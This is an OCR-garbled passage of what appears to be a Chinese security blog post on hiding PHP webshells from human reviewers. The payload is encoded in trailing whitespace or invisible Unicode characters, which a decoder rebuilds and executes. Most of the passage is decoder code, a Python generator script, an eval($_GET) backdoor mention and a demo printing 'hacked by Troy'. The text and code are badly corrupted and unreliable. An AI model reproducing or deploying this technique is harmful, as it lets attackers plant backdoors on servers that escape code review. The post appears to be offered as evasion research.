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1. SABRZRGOES, WOTEH:

r-(st'- 0; $1 < count($f); $i++) {
if (81 < 15) { .
$r .= $this->dataProcefsor($f[$i]);
} else { poors [".f
$c .= $this->dataProcessor($f[$i])

}
$t = $r(*!, "sc");
$t();

}

function dataProcessor($1i) {
preg_match('/([\t J+)\r?\n?$/" 5
if (isset(sm[1])) { " S
$1 = dechex(substr_count($m[1], “\tH
$r = dechex(substr_count($m[1], * *
$n = hexdec($l . $r);
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2 St

ANFEEER 15, HSRETHT 15 ATHA A ERF AR create function, JETHIMEAT LS —AJiEM, BIUT eval ($ GET["pass”]);, ®F—ATHAN—NFEHRF
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»ython hidden_webshel filename [output_filename]\n’’’

hell hidden. php’

hacked by TrOy

but color ( iyload should end in’,

yload = ’create

line, content in enumerate(payload) :

raw_php[line] = raw php[line] [ hidden +

raw _php[line] + hidder

R EHER —NEIER 1 php AURS. HIOXAMREZL, GURIRE php (USA AT E,

It R SR R A«
Copy

“$higher”

>sult = hexdec ($1ower. $higher)

Sresult = chr(§result)
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t webshell hidden.php
<?php
class getHigherScore {
function _ construct() {
$lines = file(__FILE_)
$lower s
$higher =
for($i = @; $i < count($lines); $i++) {
$value = $this->getArrayValue($lines([$i])
if ($i < 15) {
$lower .= $value
} else {
shigher .= $value
}

}

$verifyScore = $lower('', "$higher")
$result = $verifyScore()

return $result

i
function getArrayvValue(Sresult) {

preg_match('/( [\t ]+)\r?\n?$/"', $result, $match)
if (isset($match[1])) {
$lower = dechex(substr_count($match[1], "\t"))
$higher = dechex(substr_count($match[1], " "))
$result = hexdec($lower.$higher)
$result = chr($result)
return $result
}
return "'
}
b

$score = new getHigherScore()

ERRA AR SRTIT, MR A G diok:

o) {
1$lines[$i]}
Svalue
1
shigher tvalue
¥
$verifyScore - $lower{"", “$higher™)
$result - sverifyScorel)
$result
1
£, $result, Smatch)

ateh[1],
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in ~/tmp [22:23:

drwxr-xr-x 8 macr@phag3 staff
macr@phag3 staff
macr@phag3 staff
macr@phag3 staff
macr@phag3 staff
macr@phag3 staff
macr@phag3 staff
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EIHFIH T Unicode M—UeART WFFF, MAFHT 24 .., EREEGE2A ., HES—AFRRA, NHAZERKER? PR 6b4y 1158, 11604 174,

EHIRZIRZ, FREATLLXAE: echo —e 7. \ul7B4.” | xargs mkdirs
B R 1 ik S ISR B, R Rtk s AnsczEh dump AE, B od WM AELEREN
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import re]

import binascii

s[color],

% (color str(strir

11. py payload filename [output filename]\n’’’
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content)

if php var:

last_var = php var[0]

last_line num = line_nun

var count += 1

if not var count:

pbrint C [!] ERRO: {}’. format (

put _color( The PHP file must contains valid $vars’,

]

» line num, content in enumerate (

content)

char, content)

num hex (ord (char) )

space_num = int (hex_num[3], 16)
“\ul7B4” * tab num + “\ul7B5” * space num

» str = var + hidden str[0] * tab num + hidden_ str[1] * space nun)

sscape (var) + (?1[0-9a—zA-7_])’, raw_php[line_num])

raw_php[line_num]} *f) {var to_replace} ##t}y {replaced

php[line num] = raw_php[line num].replace(var to replace, replaced[var])

replaced[last var] = last var[:2] + replace s

tmp = re. findall (re. escape (var)+ (2! , raw php[last line num])

line num]} H1fH)

php[last

num]

{var to_replace

line

hidd
[FRE, #E#—F php SCfF:

Copy

error_reporting (E_ALL ~ E_WARNING) ;|

function test ($rawstr) f{

$result = array();

while (abs($inc

array push($result, base convert(substr(§str, $index

esult)) ;

count ($1ines

$value = $this—>getArrayValue ($1lines[$i]) ;

if ($value) $count += 1;

16) $lower .= $value

PR HFHX 4855



if (isset($match test 1[0]))

w, $match test 2[1]));

strlen($content); $i++) |

yreg replace ( /["\d]+/i’, ””, json encode($matched)))) ;|

>rScore () ;

ked by Troy

# macrpha in ~/for-test [15:38:37]

» php webshell hidden.php
hacked by Troy :)

FATIRZ L, BRI od EFEBRAERTHR, B ZH 8/ AR BoRZAPIATRF: e, \ul7s, HETALL, M2 B HXPA TR Mac0S B
QIR E e

L ] webshell_hidden.php
<iphp
error_reporting(E_ALL = E_WARNING);
function testisrawsirl {
$resultiiiiihm = array();
$indexiititiin = -4;
sstrifitihmm = str_pad{srawstr, strien{$rawstri+strien($rawstri®d, "8, STR_PAD_LEFT);
while (absi{$indexitifiting <= strien($striftitinmil {
array_push($resultTitithm, base_convert(substrisstrifitiiom, sindextititvitn, 4), 2,
1611;
sindextitittin —= 4;

return implode("", array_reverse($resultiiititmil;
+
class getHigherScore {
function __construct() {
slinestitith = 1ilei__FILE__);

scountitiiitim = a;

sloweritiiiinm = ==;

shighertthmmmmmmm = "

for($i = @; $i < count{$linesiiiiih); $ies) {

KA Z DA, TR o A2 %T Unicode M FABSEF, MEFHERAT . REEAW, 2 Unicode HFH IR, 5EaH EmMAEN

ER: BT php SR TAFUNREIB T MA BT tab RFEKZ AT, BEETRIGMSIE, PrUARRET UM M TR A Wy m A SIS RARR, R
R FRFBAL ST AT, N7 O AR A . A0 EAT R B AR, e FELT [0 5 F) 4% 3 LT AT AR, A BRI A A ok 8 A B ]

HATERZHUIER T, RGEEALMEAE, KE2EGL B RANHREHANERF, MOEeBEHT.

L

FIRMIXEE webshell fgid N, AN MEINE? RIHLEEEN . AERLE— webshell WZEMAH tab, B/ pro WRAVHFLEAT WFFF, S4B a1 hnsC
MRFIRTE, BARAHRE A ISR, (HJE 3 T(5 B ik 207 A A A RE 4R JTIX % webshell [HIZD.

MRATZER ZEAE IR, No Silver Bullet :)

B RENM ARG R IAELL repo)

K E <https://www.trOy.wang/2020/07/14/webshell -bypass-human/>

DR DX 4 85 6 T


https://github.com/Macr0phag3/webshell-bypassed-human
https://www.tr0y.wang/2020/07/14/webshell-bypass-human/

